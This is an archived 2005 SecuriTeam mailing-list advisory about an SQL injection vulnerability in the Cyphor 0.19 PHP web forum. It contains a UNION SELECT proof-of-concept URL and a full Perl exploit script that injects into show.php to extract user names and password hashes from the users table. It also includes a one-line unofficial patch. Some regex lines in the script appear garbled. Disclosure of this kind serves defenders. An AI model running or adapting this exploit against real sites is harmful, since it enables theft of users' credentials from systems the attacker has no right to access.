

# [UNIX] Cyphor SQL Injection

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-11/0060.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 11/15/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 15 Nov 2005 13:10:21 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Cyphor SQL Injection

---

## SUMMARY

<<http://www.cynox.ch/cyphor/about.php>> Cyphor is "a configurable Webforum, which uses PHP4's session capabilities to authenticate users, the MySQL database system to store all its data in, and Cascading Style Sheets (CSS) to configure the "Look and Feel" of the forum".

An SQL injection vulnerability has been discovered in Cyphor, allowing remote attackers to execute arbitrary SQL statements.

## DETAILS

Vulnerable Systems:

\* Cyphor version 0.19

Proof of concept:

The following sample can be used to test your system for the mentioned vulnerability:

<http://vulnerable/show.php?fid=2&id=-10> union select id,null,null,null,null,nick,password,null,null,null from users where id=1

Solution:

The product has been discontinued.

## Securiteam: [UNIX] Cyphor SQL Injection

Unofficial patch:  
Following the line:  
\$message\_mode = 1;

```
Add
// Script Protection By : HACKERS PAL
$Id=intval($Id);
if(!$Id)
{
    die("<br>We Dont allow Skript Kidz .. <br> By <a
hre='http://www.sqor.net'>HACKERS PAL</a>");
}
// !/script Porotection By : HACKERS PAL FINISHED
```

```
Exploit:
#!/bin/env perl
##-----#
## Cyphor Forum SQL Injection Exploit .. By HACKERS PAL
## Greetings For Devil-00 - Abductor - Almaster
## http://WwW.SoQoR.NeT
##-----#
```

use LWP::Simple;

```
print "\n#####";
print "\n# Cyphor Forum Exploit By : HACKERS PAL #";
print "\n# http://WwW.SoQoR.NeT #";
```

```
if(!$ARGV[0]||!$ARGV[1]) {
```

```
print "\n# -- Usage: #";
print "\n# -- perl $0 [Full-Path] 1 #";
print "\n# -- Example: #";
print "\n# -- perl $0 http://www.cynox.ch/cyphor/forum/ 1#";
print "\n# Greetings To Devil-00 - Abductor - almaster #";
print "\n#####\n";
```

```
exit(0);
```

```
}
else
{
print "\n# Greetings To Devil-00 - Abductor - almaster #";
print "\n#####\n";
```

```
$web=$ARGV[0];
$Id=$ARGV[1];
$url = "show.php?fid=2&id=-0%20union%20select%20id,2,3," .
"4,5,nick,password,8,id,10%20from%20users%20where%20id=$Id";
$site="$web/$url";
$page = get($site) || die "[-] Unable to retrieve: $!";
```

## Securiteam: [UNIX] Cyphor SQL Injection

```
print "\n[+] Connected to: $ARGV[0]\n";

print "[+] User ID is : $id ";
$page =~ m/(.*)/ && print "\n[+] User Name is: $1\n";
print "\n[-] Unable to retrieve User Name\n" if(!$1);
$page =~ m/(.*)/ && print "[+] Hash of password is: $1\n";
print "\n[-] Unable to retrieve hash of password\n" if(!$1);
}

print "\n\nGreets From HACKERS PAL To you :)\nWwW.SoQoR.NeT . . . You Are
Welcome\n\n";
#finished
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:s2b@hotmail.com>> HACKERS PAL.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)  
In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.